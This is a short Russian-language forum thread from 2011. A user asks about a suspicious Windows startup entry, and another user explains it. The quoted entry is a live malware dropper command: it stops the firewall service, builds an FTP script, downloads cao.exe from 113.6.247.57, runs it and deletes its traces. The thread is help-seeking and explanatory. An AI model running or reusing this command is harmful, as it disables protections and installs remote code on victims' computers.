PDA

Показать полную графическую версию : Запуск при старте системы


Crush45
05-06-2011, 20:42
Здравствуйте форумчане, появилась таая строчка в автозапуске:
c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 113.6.247.57> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get cao.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&cao.exe&cao.exe&del cmd.txt /q /f
Хотелось бы знать, что тут происходит, потому как не разбираюсь.
Возможно последствия зловреда.

pva
16-06-2011, 21:07
теоретически батник создаёт скрипт для загрузки какого-то cao.exe с сервера ftp. Выполняет загрузку с адреса 113.6.247.57 и запускает экзешник. Первый же поисковик доменов сказал что адрес неверный...




© OSzone.net 2001-2012